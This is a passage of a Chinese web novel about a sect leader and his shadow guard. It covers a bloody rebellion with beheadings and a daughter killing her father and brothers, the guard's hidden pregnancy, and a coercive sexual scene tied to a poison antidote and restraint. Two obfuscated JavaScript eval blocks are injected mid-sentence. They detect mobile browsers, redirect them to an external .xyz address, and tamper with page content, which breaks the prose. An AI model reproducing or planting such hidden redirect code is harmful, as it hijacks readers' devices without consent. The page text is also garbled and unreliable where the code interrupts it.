阿影的声音依旧平静,却让在场的每一个杀手都不自觉地后退了半步。 “退什么退,谁敢后退半步!” 张老气得浑身发抖,他死死盯着阿影,浑浊的眼中几乎要喷出火来: “好,好得很!仗着有几分本事,就敢如此嚣张!” “我倒要看看,你这靠卖身上位的玩意儿,能撑到几时!” 他猛地一挥手,厉声喝道:“一群废物,还犹豫什么!都给我上!今日谁能取他性命,赏金千两,连升三级!” 门外顿时响起一片兵刃出鞘之声,更多杀气腾腾的杀手如潮水般涌入。 阿影依旧静立原地,手中的夜哭剑发出一声轻吟。 他微微侧头,目光扫过围上来的众人:“擅闯者,死。” 话音未落,最先冲上来的三个杀手已经扑到近前。 阿影身形微动,夜哭剑划出一道诡异的弧线,剑光如毒蛇吐信般闪过。 “噗——” 三颗头颅应声飞起,鲜血喷涌如泉。 尸体还保持着前冲的姿势,踉跄了几步才重重倒地。 “这……” 这血腥的一幕让后续冲来的杀手们都不由自主地顿住了脚步。 然而重赏之下必有勇夫,一个使双刀的精瘦汉子厉喝一声,从侧面猛扑过来,双刀舞得密不透风。 “且让我来!” 阿影看也不看,反手一剑刺出。 “噗。” 这一剑快得几乎看不清轨迹,精准地穿过双刀的缝隙,直接洞穿了那汉子的咽喉。 剑尖抽出时带出一串血珠,阿影手腕轻抖,血珠溅落在最近一个杀手的脸上。 “啊……啊……怪物……怪物……” 那杀手吓得魂飞魄散,连退数步,却被身后的人推着继续向前。 顶楼顿时陷入一片混战。 阿影的身影在人群中飘忽不定,夜哭剑每次挥出必取一命。 剑光所过之处,断肢横飞,鲜血染红了奢华的地毯。 然而杀手实在太多,倒下一批又涌上一批,仿佛永无止境。 “……” 阿影眉头微皱,反手一剑将迎面扑来的杀手劈成两半。 就在这一剑挥出的瞬间,一道凌厉的刀光擦过他的手臂,鲜血顿时顺着黑色衣袖流淌下来。 虽然穿着一身玄衣,但那深色的水痕,依然能看出受伤的痕迹。 张老在人群后看得分明,脸上露出狰狞而得意的笑容:“他受伤了!继续上!耗也要耗死他!” 杀手们闻言更加疯狂地扑上来,刀剑如雨点般落下。 阿影剑势不减,但神色明显凝重了几分,防守的圈子被迫渐渐缩小。 就在这千钧一发之际,突然无数银针如暴雨般刺破了那扇价值千金的紫檀木屏风,精准地没入杀手的要害。 “噗!” “噗!” “噗——!” 随着银针没入杀手体内,一整片的杀手应声倒下,连惨叫都来不及发出。 屏风被如此强大的力道带得轰然倒地,扬起一片尘埃。 “砰!” 屏风后赫然出现一群人的身影,为首正是的贺邢! 搞什么!贺邢根本就没走! 张老大惊失色,声音都变了调:“阁、阁主?您怎会在此?” 贺邢根本不理会他的惊呼,快步走到阿影身边,执起他受伤的手臂仔细查看。 当看到那深可见骨的伤口时,他的眼神骤然冷了下来:“居然受伤了。” 贺邢冷哼一声,语气里带着明显的不悦, “看来下次我应当送你金丝软甲才是。” 阿影垂眸,不知该如何回应:“……” 张老看着他们你侬我侬的模样,脸色难看得像吃了苍蝇一般。 然后,贺邢从怀中取出一方素白手帕,仔细为阿影包扎伤口,动作轻柔得,与此刻剑拔弩张的气氛格格不入。 阿影真的是僵在那,一动都不敢动。 直到包扎妥当,贺邢才缓缓转身,冷眼看向张老: “张老,我从前敬你是我爹的下属,给你三分薄面,但我看你是给脸不要脸。” 张老咬牙道:“贺邢,竖子!我和你爹打江山的时候,你都还没出生呢!” 贺邢挑眉,语气轻蔑:“哦?那我爹已经去世了,你不如跟他去地下打江山吧。” 他与他爹的关系向来疏离,尤其是目睹娘亲被那一屋子后院折腾得抑郁而终后,更是对他爹充满不屑。 张老脸色铁青,如今只能破罐子破摔了。 他厉声喝道:“都给我上!阁主已经被这个贱货迷了心智!如何还能统领我们剑阁!” 如此言语,居然想要直接夺位了?! 剩余的杀手闻言再次扑上,贺邢“啪”地一声展开玄铁扇,一手护着阿影后退,同时朝远处扬声道: “张雪!事已至此,还不动手?” 张老不明所以,然而下一秒,一支利箭破空而来,精准地穿透他的胸膛。 鲜血如柱。 他僵硬地转头,不可置信地看到自己的废物女儿张雪穿着一身劲装,手持一把巨大的弓箭,神色复杂地站在不远处。 “父亲将我为奴为婢,今日,女儿来尽孝了。” 张雪的声音冷静中带着一丝痛楚。 这一刻,出路就摆在她眼前,由不得半分犹豫。 “呃……你……孽女……” 只见张老瞪大双眼,死不瞑目地倒下了。 下一秒,张雪迎着她那四个哥哥仇恨的目光,沉稳地搭箭上弦,高声喝道: “杀堂堂主已死!谁还敢造次!放下武器,降者不杀!” 那四个兄长踉跄着后退,断臂处鲜血汩汩涌出,染红了衣襟。 他们死死盯着张雪,眼中迸发出怨毒的光芒: “五妹!你竟敢弑父!你就不怕天打雷劈吗?!“ 闻言,张雪冷冷一笑,手中长弓纹丝不动,箭尖在四人之间缓缓移动: “天打雷劈?四位兄长说得真好。那父亲要将我送给五十岁的霹雳堂主做妾时,怎么不怕天打雷劈?” “你们明知那老东西有虐杀侍妾的癖好,却无一人为我说情时,怎么不怕天打雷劈?” 实在是多说无益。 下一秒,张雪的手指微微发力,弓弦绷紧: “如今再谈什么骨肉亲情,未免太过可笑。我不仅要弑父,今日还要杀兄!” 话音未落,只见她手腕一抖,四支箭矢破空而出。 那箭来得太快太急,四位兄长本就没了一臂,根本来不及反应,只能眼睁睁看着箭矢穿透胸膛。 “咳咳……” 他们踉跄着后退,口中涌出鲜血。 最终重重倒地,眼睛瞪得老大,至死都不相信这个一直被他们欺辱的妹妹竟有如此手段、城府。 张雪站在原地,长弓微微颤抖。 她眼中闪过一丝悲悯,但很快又被决绝取代。 既然已经踏出这一步,就再也没有回头的余地。她深吸一口气,将长弓稳稳收起。 不远处,阿影不禁露出惊讶之色。 贺邢察觉到阿影的目光停留在张雪身上,不悦地抿了抿唇。 他伸手将人揽入怀中,指尖轻轻抚过阿影受伤的手臂,声音里带着明显的不满: “你把注意力都放在她身上,却不看我。” 阿影连忙惶恐低头:“属下不敢,属下万万不敢…” “你有什么不敢的?” 贺邢打断他的话,手指轻轻按在伤口边缘。 “你都敢受伤了。” 阿影垂眸不语,长睫在眼下投下一片阴影。 其实阿影心知这本不该是自己的水准。 阿影这次确实不应该受这个伤。 可是……在那千钧一发之际,突然一阵剧烈的腹痛让阿影手中的剑偏了分寸,这才受了伤。 但无论什么理由,说出来都像是为自己的失误找借口。 阿影自认除了一张与旭公子相似的脸,就只剩这一身武功值得称道。 他必须是剑阁最锋利的剑,才不会被贺邢丢弃。 贺邢见他沉默,也不再追问,只是将人轻轻放开。 他迈步上前,衣袍在血腥中翻飞,声音冷冽如冰,响彻整个顶楼: “降者不杀!负隅顽抗者,死无全尸!” 一时间,兵刃落地之声不绝于耳。 大部分杀手见张老已死,纷纷放下兵器。 少数负隅顽抗者还想做困兽之斗,但很快就被贺邢带来的亲卫以雷霆手段斩杀殆尽。 顶楼上弥漫着浓重的血腥气,但一场叛乱终究平息了下来。 贺邢转身看向张雪,目光深邃:“今日之事,你做得很好。” 张雪微微躬身:“多谢阁主夸奖。从今往后,张雪愿为阁主效犬马之劳。” 贺邢颔首,正要说什么,却见阿影身形微晃,脸色苍白如纸。 他立即上前,发现对方额头上布满细密的冷汗,真是不看不知道,一看吓一跳。 “怎么回事?” 贺邢皱眉问道,语气中带着自己都未察觉的焦急。 阿影勉强站稳,低声道:“属下无碍。” 无碍这种话,听听就听听了,但万万不可当真,贺邢想起方才阿影失常的表现,立即对身后吩咐: “快去请医师!” 下一秒,张雪立即上前一步,恭敬行礼: “阁主,属下曾在药堂修习,通医理,可否让属下为阿影大人诊断一二?” 贺邢微微颔首。 阿影看了看贺邢,没有说什么。 于是张雪上前在旁,小心翼翼地隔着一块手帕,执起阿影的手腕。 她的指尖刚搭上脉门,脸色就微微一变。这脉象流利圆滑,如珠走盘,分明是……喜脉? 她不可置信地又仔细诊了一次,指尖微微发颤。 张雪不知道阿影是两形人,所以此刻她的心中简直就是惊涛骇浪。 确实是喜脉!可这怎么可能?一个男子怎会有喜脉? 张雪一时之间竟怀疑起自己的医术来。 怎么可能啊?史无前例!绝无可能啊!男人怎么可以怀孕?! 但是诊一万遍也是这个脉象啊…… 贺邢见张雪神色凝重,眉头紧皱:“到底怎么了?” 张雪抬眼看了看阿影有些疲惫的脸色,又瞥见贺邢眼中的担忧,咬牙将震惊压了下去。 她自然不知阿影是阴阳之身,只能硬着头皮,连忙垂首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433915|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回话: “回阁主,阿影大人这是思虑过度,再加上天气寒冷,体虚易受寒气入侵。” 她顿了顿,又补充道:“想必从前有过旧伤,十分畏寒。之后还需好好调养,地龙千万不可断了。” 贺邢闻言,眉头皱得更紧。 他自然知道阿影身上旧伤无数,尤其是膝盖处的旧伤每逢阴雨天就会发作。 但思虑过度? 贺邢低头看向怀中阿影,只见阿影睫毛轻颤,似乎想要说什么,最终却只是抿紧了苍白的唇。 真是,木头石头似的,冷也不知道说,疼也不知道说,到底在忧什么,在愁什么?真是什么也不肯说。 “可要开什么方子?” 贺邢追问道,手臂不自觉地将阿影搂得更紧了些。 张雪谨慎地回答: “属下先为阿影大人开一剂温补的方子,驱寒暖身。但具体如何调理,还需仔细观察几日。” 她犹豫片刻,又道: “最重要的是要保持心情舒畅,切忌忧思过度。” 贺邢若有所思地点点头,挥手让张雪先去准备汤药。 待张雪退下后,他轻轻抚过阿影冰凉的脸颊,声音不自觉地放柔: “今晚好好休息一晚,明天和我一起离开,去参加旭家的婚礼。” 阿影抬眼望向贺邢,最终只是轻轻点了点头。 煎好了药,张雪端着药碗来到顶楼寝殿时,贺邢已经离开去处理叛乱余波,殿内只剩下阿影一人。 阿影安静地坐在床边,夜哭剑就放在触手可及之处,似乎有些不知道该做什么地望着窗外出神。 贺邢临走前特意嘱咐他必须好生保暖,按时服药。 所以阿影老老实实地呆着。 张雪犹豫片刻,最终还是端着药走上前去。 她压低声音道:“阿影大人……我有一言不知当讲不当讲。方才为您诊脉时,我探出的竟是喜脉……” 闻言,阿影猛地一怔,脸色瞬间苍白如纸,仿佛听到了什么死刑判决般,连指尖都开始微微发抖。 张雪见状连忙打圆场:“说不准是我学艺不精,诊错了脉……” 下一秒,阿影神不守舍、神情恍惚地问道: “这药,若是真有孕,也能喝吗?” 张雪一时没反应过来:“啊?当然了。” 阿影抬眸看向她,眼中带着恳求: “张姑娘,你的医术很好,没有诊错脉。我恐怕,确实是有了身孕。” 他顿了顿,声音轻得几乎听不见,“但我求你能帮我瞒着阁主。” 张雪震惊地睁大眼睛,手中的盘子险些跌落。 她急忙稳住心神,压低声音道:“可是这等大事,如何能瞒得住?” 阿影苦笑着摇头:“只怕,若是阁主知晓,不会允许我留下这个孩子。” 他说着,下意识地抚上小腹,眼中闪过一丝难以察觉的痛楚。 这个意外而来的生命,于他而言既是惊喜,更是无尽的惶恐。 张雪看着他苍白的侧脸,忽然明白了什么。 她轻声道:“大人可是担心阁主会因此厌弃您?” 阿影没有回答,只是默默低下头。 那双冷静自持的眸子里,此刻盛满了不安与挣扎。 张雪看着阿影苍白的侧脸,心中百感交集。 她轻叹一声,将药碗轻轻放在床边小几上: “阿影大人,您可知孕期最忌忧思过度?方才我说的那些话,并非全是搪塞之词。” “您确实需要保持心境平和,否则对……对胎儿不利。” 阿影闻言,下意识地将手覆在小腹上。 “多谢。” 他低声说道,“只是还请张姑娘务必保密。” 张雪郑重地点了点头:“我以医者的名誉起誓,绝不会将此事透露给第三人。” 她犹豫片刻,又道:“但孕期症状迟早会显现,阁主那般精明的人,恐怕瞒不了多久。” 阿影垂下眼帘,长睫在苍白的脸上投下淡淡的阴影:“能瞒一时是一时。至少、让我做好准备。” 他所说的“准备”,张雪心知肚明。 若是贺邢执意不要这个孩子,阿影恐怕已经做好了最坏的打算。 就在这时,门外传来脚步声。 张雪连忙退行至一旁。 贺邢大步走进来,身上还带着几分肃杀之气,显然是刚处理完叛乱的后续事宜。 “药可喝了?”贺邢径直走到床边,很自然地伸手探了探阿影的额头,“怎么脸色还是这么差?” 张雪连忙回道:“属下正要伺候阿影大人用药。” 贺邢从柜子上接过药碗,亲自试了试温度,这才递到阿影唇边: “温度正好,快些喝了。” 阿影看着那碗深褐色的汤药,犹豫了一瞬。 就在这片刻的迟疑间,贺邢已经察觉到了什么,眉头微皱:“怎么了?” 张雪的心提到了嗓子眼,生怕阿影露出破绽。 却见阿影轻轻摇头,接过药碗一饮而尽,而后才低声道:“苦。” 贺邢闻言失笑,从袖中取出一个小巧的玉盒,打开竟是几颗蜜饯: “你居然怕苦,还好我特意去准备了蜜饯。” 这难得的温柔让阿影怔住了,就连一旁张雪也暗自惊讶。 恐怕整个剑阁的人都从未见过贺邢对谁这般细心体贴。 阿影怔怔地看着贺邢掌心中的蜜饯,那晶莹的蜜色泛着温暖的光泽。 “多谢主人。” 他迟疑地伸出手,指尖微微发颤,小心翼翼地拈起一颗放入口中。 蜜饯的甜味在舌尖化开的瞬间,阿影的睫毛轻轻颤动了一下。 这是阿影难得尝到蜜饯的滋味,甜得让他几乎想要落泪。 那甜味不像他尝过的任何东西,不是鲜血的铁锈味,不是汗水的咸涩,不是雨水的冰凉,而是真真切切的、纯粹的甜。 阿影细细地咀嚼着,任由那甜味在口腔中蔓延,仿佛要透过味蕾渗进心里去。 这一刻,他忽然忘记了所有的忧虑和恐惧,忘记了身份的低微。 他只是专注地感受贺邢难得的温柔。 阿影抬起眼帘,看向贺邢。 贺邢不明所以:“合你的胃口吗?” 阿影点点头。 他的目光细细描摹着这个人的眉眼,这个他誓死效忠却又不敢奢望更多的主人。 此刻,阿影不知道前路会如何,不知道这个意外而来的生命能否被允许留下,不知道贺邢若是知晓真相后会作何反应。 但此时此刻,含着这颗甜得发颤的蜜饯,阿影真心实意地希望时光能够永远停留在这一刻。 就让这一刻再长久一些吧——让他再多感受一会儿这份不该属于他的温柔。 阿影轻轻垂眸,将最后一丝甜意抿在唇间。 待阿影服下蜜饯,贺邢这才转向张雪:“他的身子需要调理多久?” 张雪谨慎地回答: “大人旧伤较多,体质偏寒,至少需要调理三个月。期间切忌动武,情绪也不宜有大起大落。” 贺邢若有所思地点点头,对阿影道:“听见没有?这三个月你就好生休养,别满脑子都是打打杀杀练剑的事情。” “你不过三个月不练剑而已,别说三个月了,就算你一辈子不练剑,我都能护得住你。” 这话说的真猖狂,但是贺邢真的是有本事的。 闻言,阿影张了张口,似乎想说什么,但最终只是轻轻点了点头。 待了一会,贺邢把张雪叫出去了,仔细询问了一下注意事项。 房间里面又只有阿影一个了。 窗外的夕阳渐渐西沉,将阿影的身影拉得很长。 他垂眸,独自坐在床沿,手无意识地抚着小腹,整个人笼罩在一种既温柔又决绝的光晕里。 自己的腹中居然有了一个阁主的孩子…… 11. 第11章·金铃 没一会,窗外细雪纷飞,如同碎玉琼花,在凛冽的寒风中旋舞。 晚上的时候,贺邢特意带着阿影下楼用膳,厅堂内地龙烧得正旺,暖意融融。 晚饭已经备好了。 雕花木桌上摆满了十八道珍馐,从煨得酥烂的鹿筋到清蒸的鲈鱼,从时令鲜蔬到精致点心,琳琅满目。 因为张雪说,阿影要滋补,所以贺邢特地从饮食上也下手进补。 却见阿影只是勉强动了几筷子,脸色愈发苍白,甚至不时以袖掩口,似乎在强压着什么不适。 “不合胃口?” 贺邢微微蹙眉,这桌上每一道菜都是他特意吩咐厨房准备的,竟没有一个合阿影的心意。 贺邢其实已经算是挑食的,结果阿影似乎比贺邢还挑食。 以前还能吃,现在这么快就吃腻了? 阿影慌忙摇头,声音有些虚弱:“很美味……” 话未说完,一阵恶心涌上喉间。 阿影急忙端起青瓷茶盏抿了一口,借着氤氲的热气掩饰瞬间失态的神色。 他绝不能在这个时候露出破绽,绝不能让贺邢看出端倪。 然后,贺邢的目光在阿影苍白的脸上停留片刻,忽然对侍立一旁的侍女道: “去,盛一碗热酸笋汤来,再配一碟糖渍山楂。” 冬天没有酸梅汤,不然还能喝点酸梅汤开胃。 可能阿影确实是身体不太好了,连吃饭都没什么胃口。 贺邢也有不想吃饭的时候,稍微吃点开胃的会好很多。 不一会儿,侍女便端来一碗热气腾腾的酸笋汤和一碟红润诱人的糖渍山楂。 那酸香温热的气息飘来,竟意外地缓解了阿影喉间的恶心感。 “试试这个。” 贺邢将汤碗轻轻推至阿影面前,语气虽淡,却不容拒绝。 “阿影惶恐,多谢主人。” 阿影小心翼翼地舀了一勺汤,酸爽暖热的滋味滑入胃中,竟真的压下了那阵翻涌的不适。 他又尝了一颗山楂,那酸甜交织的口感让他紧蹙的眉头不自觉地舒展了几分。 果然。 贺邢觉得自己还是有几分本事的,能懂这个木头想要什么。 见状,贺邢的唇角微不可察地扬了扬: “看来你还是偏好这些滋味。” 说着便对侍女吩咐道: “记下了,日后膳后都给他备上些类似的开胃汤点。” 阿影握着汤勺的手微微一顿,他低头默默喝着汤。 窗外的雪声簌簌,厅内的烛火将阿影的侧影投在墙上,摇曳不定,正如他此刻的心绪。 酸笋汤的热气氤氲了阿影的眼眸。 这一刻的平静与关照,美好得如同一个易碎的幻梦。 阿影另一只在桌子下的手轻轻抚上自己的小腹,忽然觉得,或许这个意外的生命并不完全是一件坏事。 也许……也许结果并不会如他想象的那般糟糕。 也许……主人会愿意留下这个孩子的。 —— 晚膳过后,贺邢又去处理了些许事务,待听完各堂主回禀,夜色已深。 他踏着月色走上顶楼,推开门时,本以为会见到阿影安睡的容颜,却不料那人正抱着夜哭剑,独自坐在床沿发呆。 烛火摇曳间,阿影的脸色依旧苍白,眉宇间带着茫然,却又透着一丝百无聊赖的寂寥。 “怎么了?”贺邢反手合上门,唇角噙着笑,“这么晚了还不睡,在等我不成?” 阿影闻声抬头,温顺地点了点:“未见主人安然归来,属下不敢独自入睡。” 贺邢走近,伸手揉了揉阿影散开的墨发: “下面的地龙没有上面烧得旺,留在顶楼会暖和些。” “更何况张雪说了,你身子需要静养,不必再为那些琐事烦心。” 他语气顿了顿,带着几分戏谑,“不然我可要整日将你带在身边了。” 阿影垂下眼帘:“多谢主人关怀。” 烛光下,阿影只穿着雪白里衣,领口微微敞开,露出一段纤细的脖颈。 武者的脖颈本是致命之处,此刻在暖黄的光线下却显得格外脆弱。 贺邢眼底掠过一丝恶劣的兴味,忽然伸手,轻轻掐住了那段白皙。 “阿影,”他声音低沉,“还记得每月一次的解药吗?” 被掐住脖子,阿影呼吸微滞,眼里有些惧怕,却依旧顺从: “属下不敢忘。” 下一秒,贺邢指尖缓缓摩挲着对方颈间跳动的脉搏,感受着那细微的颤栗: “我骄纵了你这些时日,你总该好生回报我。” 他俯身凑近,温热的气息拂过阿影耳畔,“今日若表现得好,我便给你一整瓶解药。” 阿影睫羽轻颤,沉默片刻才低声道:“……是。” 贺邢见他这般木讷,轻笑着从怀中取出一对精巧的金铃。 铃铛上缀着个金夹,在烛光下流转着微妙的光泽:“你可知这是什么?” 这么一个小东西,夹子很小,但是铃铛颇有质感和分量,全部都是纯金打造的。 阿影仔细端详片刻,谨慎答道: “或许是……夹在衣物上的巧妙饰物?” 贺邢闻言低笑,指尖轻抚过铃铛表面:“倒也算答对了一半。” 只见贺邢修长的手指轻轻捻起那对精巧的金铃,铃身在烛光下流转着温润的光泽。 “叮铃、叮铃。” 故意晃了晃手腕,铃铛立刻发出清脆悦耳的声响,在寂静的寝殿内格外分明。 “这铃铛嘛,自然是一对了。” 贺邢唇角带着意味深长的笑,将铃铛举到阿影眼前,说: “纯金打造,虽没什么大用,但这声响倒是清脆得紧。” 阿影将夜哭剑轻轻放在身侧的矮几上,看了一眼那两个铃铛。 他迟疑地揣测着:莫非主人是要将这铃铛系在武器上? 确实有些剑客喜欢在兵刃上装饰铃铛,既能彰显身份,对敌时铃响也可扰人心神。 正当阿影思忖间,贺邢的手忽然抚上他的后颈。 那只手带着习武之人特有的薄茧,温度却意外温柔。指尖若有似 无地摩挲着阿影颈后的肌肤,带来一阵细微的战栗。 阿影语气有些颤抖:“主人……” “人人都说你是剑阁最锋利的剑,”贺邢的声音低沉下来,带着几分难得的认真, “可我总觉得,比起做一把冷冰冰的兵器,还是做个有血有肉的人更好。你说是不是?” 这是何意? 阿影闻言顿时惶恐不安,这话实在不知该如何应答才是。 他纤长的睫毛轻颤着垂下,声音里带着不易察觉的慌乱:“阿影对主人绝无二心。” “我当然知道。” 贺邢低笑一声打断他,指尖漫不经心地卷起他一缕墨发把玩, “我对你这般好,你怎么会对我有二心?” 他语气慵懒,却带着不容置疑的掌控感, “放眼整个江湖,谁还能对一个影卫这般骄纵?不妨提前告诉你,张老既死,待你身子养好些,杀堂堂主的位置就是你的。” 听到贺邢这么说,阿影连忙跪地谢恩,额头重重地磕在地板上: “属下多谢主人器重,定当竭 尽全力,不负所望。” 而贺邢却仍在把玩那对金铃,若有所思地看着跪在身前的人: “你总说要谢我,可大恩岂是言语能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433916|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢的?” 他俯身将阿影扶起,指尖若有似无地擦过对方胸口。 “阿影,你既然已经认我为主,那么,你的一切都是我的。” “不如用些更实际的方式来表示?” 贺邢的目光落在阿影微微敞开的领口,在那段白皙的脖颈上流连片刻,最终定格在那双总是平静无波的眸子上。 烛火跳跃间,贺邢眼底掠过一丝深意,手中的金铃再次发出清脆的声响。 烛火摇曳,将贺邢唇边的笑意映得格外深邃。 他轻轻摇晃手中那对金铃,清脆的声响在寂静的室内流转: “我很喜欢这个铃铛的声音,” 他俯身靠近,温热的气息拂过阿影的耳畔, “不如阿影你让它们多发出些好听的声响,你意下如何?” 阿影茫然地抬眼,烛光在他墨色的眸子里投下细碎的光点:“属下一切都听主人的。” 话音未落,天旋地转间已被贺邢压进柔软的锦被中。 阿影猝不及防地闷哼一声,还未反应过来,便对上贺邢那双充满侵略性的眼眸。 此刻的贺邢褪去了所有温柔表象,宛如一头锁定猎物的猛兽,眼底翻涌着原始的占有欲。 “阿影,” 贺邢的指尖轻轻划过他的下颌,语气危险而低沉, “你说你一切都听我的,那你可得乖一点。” 阿影乖顺地点头,墨发散在枕上,衬得脸色愈发苍白,却又因方才的亲吻泛起一丝薄红。 贺邢握着那对金铃,隔着薄薄的里衣按在阿影心口。 冰凉的金属触感让阿影轻轻一颤,随即感受到贺邢掐着他脖颈的力道——不重,却带着不容反抗的掌控。 吻落下来的时候,阿影温顺地张开双唇,任由贺邢长驱直入。 这个吻带着近乎野蛮的占有欲,仿佛要将阿影整个人都吞噬。 铃铛随着阿影急促的呼吸发出细碎的声响,在寂静的室内格外清晰。 “唔……” 没一会,阿影被吻得喘不过气,眼尾泛起湿润的艳色,在烛光下潋滟生辉,像是一块冰,终于被染上了颜色。 贺邢凝视着身下之人难得的脆弱情态,只觉得心跳如擂鼓。 这个总是冷若冰霜的影卫,此刻眼波流转间竟有种惊心动魄的勾人,让他恨不得将人揉碎了融进骨血里。 贺邢加重了这个吻,直到阿影忍不住发出细弱的颤抖,才稍稍退开些许。 “怎么这么不耐亲?” 贺邢低笑,指尖抹去阿影眼角的湿意,“以后可怎么办啊?” “……”阿影耳尖红得滴血,全然不知该如何应对这般羞人的问题。 他的生涩取悦了贺邢,换来又一个深入的吻。 趁着呼吸交缠的间隙,贺邢解开发带,将阿影的手腕轻轻缚在床柱上。 “主人……?” 阿影眨了眨眼,下意识地评估着束缚的力度——以他的身手,这样的束缚简直形同虚设。 贺邢仿佛看穿他的心思,指尖抚过他的手腕,声音里带着警告: “这可是你主人我的发带,若是弄坏了,” 他俯身咬住阿影的耳垂,留下不轻不重的威胁,“你就等着被好好教训吧。” “是,”阿影轻声应道,声音很认真,“属下必然会万分小心。” 贺邢满意地直起身,举起那对金铃。 烛光在铃铛表面流淌,映出贺邢深邃的眉眼: “这个嘛,就送给你了。” “我今日听说,有剑客喜欢在剑上坠铃铛,还挺有意思的。” “阿影,你可要记住,你是我的剑。” 阿影似懂非懂,茫然地点头,尚未完全理解话中的深意。 12. 第12章·不祥 …… …… …… 铃铛,轻响。 “真好听。” 贺邢低声赞叹。 “阿影,为我的剑坠上铃铛,真是个好主意。” 贺邢垂眸,欣赏着阿影咬唇强忍的模样。 那双总是冷的眸子此刻水光潋滟,焦距涣散,仿佛蒙上了一层薄雾。 终于有点情绪了,终于有一点除了冷漠之外的颜色了。 把这个跟木头跟石头一样的阿影,注入情绪,扰动阿影的心弦,其实是一件很有意思的事情。 也是一件很有成就感的事情。 烛光摇曳,为阿影汗湿的肌肤镀上一层暖色,宛如一把冰冷锋利的宝剑被强行抹上了黏稠的蜜糖,显出一种被驯服后的的美感。 贺邢向来热衷于这般刀口舔蜜的危险游戏,乐于见这柄最锋利的剑为自己展现出不同寻常的神情之态。 在一片铃铛乱响之中,阿影仍艰难地保有一丝清明,一只手始终下意识地、小心翼翼地护住小腹。 这细微的动作未能逃过贺邢的眼睛,但他只当是阿影某种的习惯。 每个人都有点小习惯,这其实很容易理解,不是吗? 贺邢甚至觉得挺有意思的。 “总是捂着肚子做什么?”贺邢低声问道,指尖拂过那紧绷的手背。 阿影已然无力回答,他跟了贺邢许多年,也默默爱了他许多,其实很清楚贺邢骨子里的恶劣。 但是因为爱上了,所以没有办法。 所以,阿影只能将脸埋入枕中,徒劳地躲避着那几乎要将他灼穿的视线。 “声音真好听。” 贺那俯身在他耳边低语,热气呵得阿影只能闭目, “如果你白日里也有这样生动,那就好了。” “不过,留在晚上看倒是,也别有一番滋味。” “……” 阿影咬唇别过脸去,却被贺邢扳回来。 四目相对间, 铃音又响成一片。 窗外,细雪不知何时已悄然飘落,莹白的雪屑无声地覆盖了屋檐树梢,将天地笼入一片静谧的薄纱之中。 寝屋内却仍是烛火摇曳,地龙烧得正旺,暖意氤氲,与外间的清寒恍若两个世界。 夜深雪重,那铃音时而如溪水淙淙,偶尔有守夜的侍女经过楼下,听到隐约的铃响,有些好奇的往楼上看。 非常清脆的铃声。 大半夜的,阁楼上是有谁在跳舞吗?还是在练剑? 直到后半夜,铃声才渐渐缓下来,变得断断续续。 阿影被折腾得惨烈,却还是在贺邢靠近时温顺地仰起脸。 “不经弄啊。” 贺邢俯下身去,心情很好地和阿影接了个吻。 然后贺邢解开束缚阿影手腕的发带,轻抚阿影腕间淡淡的红痕。 此刻的影卫浑身无力地陷在锦被中,因常年不见天日而苍白的肤色之中,带着一点红润的脊背随着呼吸微微颤动。 贺邢拿下铃铛,爱不释手地把玩着,在阿影耳边低语: “这声音,果然很适合你。” 阿影只能应了一声。 反正,主人说什么就是什么。 —— 半个时辰后。 氤氲的热气在汉白玉砌成的浴池上方袅袅升腾,弥漫着清雅的药草香气。 贺邢抱着阿影踏入微烫的水中,水波层层漾开,漫过阿影紧绷的脊背。 阿影浑身僵硬得像块石头,连脚趾都无意识地蜷缩起来,睫毛湿漉漉地垂着,不住轻颤,却丝毫不敢挣扎,任由主人将他揽在怀中。 “怎么?” 见状,贺邢低笑,掌心抚过阿影线条流畅却微微僵硬的背脊, “你难不成是猫儿转世,沾点水就绷成这样?” 阿影不敢抬头,水汽将他苍白的脸蒸出些许血色。 他声音细若游丝,带着难以掩饰的窘迫: “主人,岂有主人同影卫、伺候沐浴的道理……” 闻言,贺邢将人往怀里又带了带,让温热的水流更好地包裹住阿影,下巴轻轻抵在阿影湿漉的发顶: “看来有个道理,你还没有明白。” 贺邢的唇几乎贴着阿影泛红的耳廓,语气霸道又理所当然, “在剑阁,我就是道理,不是吗?我说可,便可。” 这话当真是无话可回了。 阿影无奈,纤长的睫毛上凝结了细小的水珠,颤动。 他只得极轻地点头,温顺地浸入暖流。 温热的水流舒缓着过度的肌肉酸痛,却无法驱散阿影心底层层叠叠的寒意与忐忑。 在氤氲缭绕、几乎迷离人眼的水汽中,阿影犹豫了许久,指尖在水下无意识地蜷缩又松开,终是鼓起极大的勇气,声音轻得几乎被水声淹没: “主人,若是有身份极为低微之人,意外有了身孕,那该如何……是好?” 他问得断断续续。 贺邢正漫不经心地撩水,擦拭着阿影肩颈处自己留下的些许红痕,闻言并未深思,只随口答道: “那得看情形。” “总得要两情相悦,心意相通,才能要孩子。否则……” 他轻笑一声,带着一丝惯有的、居高临下的漠然, “那孩子生来便不受期待,无人疼爱,在这世上艰难求生,岂不是太可怜了些?何必来这世上受苦。” 水波微微荡漾,映出阿影骤然失去血色的脸。 阿影垂下眼帘,浓密的睫毛掩盖住眸中翻涌的痛苦,声音几乎融进弥漫的水汽里,带着一丝绝望的确认: “若确实并不相爱呢?只怕对方若知晓,只会厌弃。” “那便不该留。” 贺邢的语气理所当然,甚至带着一丝处理麻烦事务时的果决与冷漠, “长痛不如短痛的道理。” 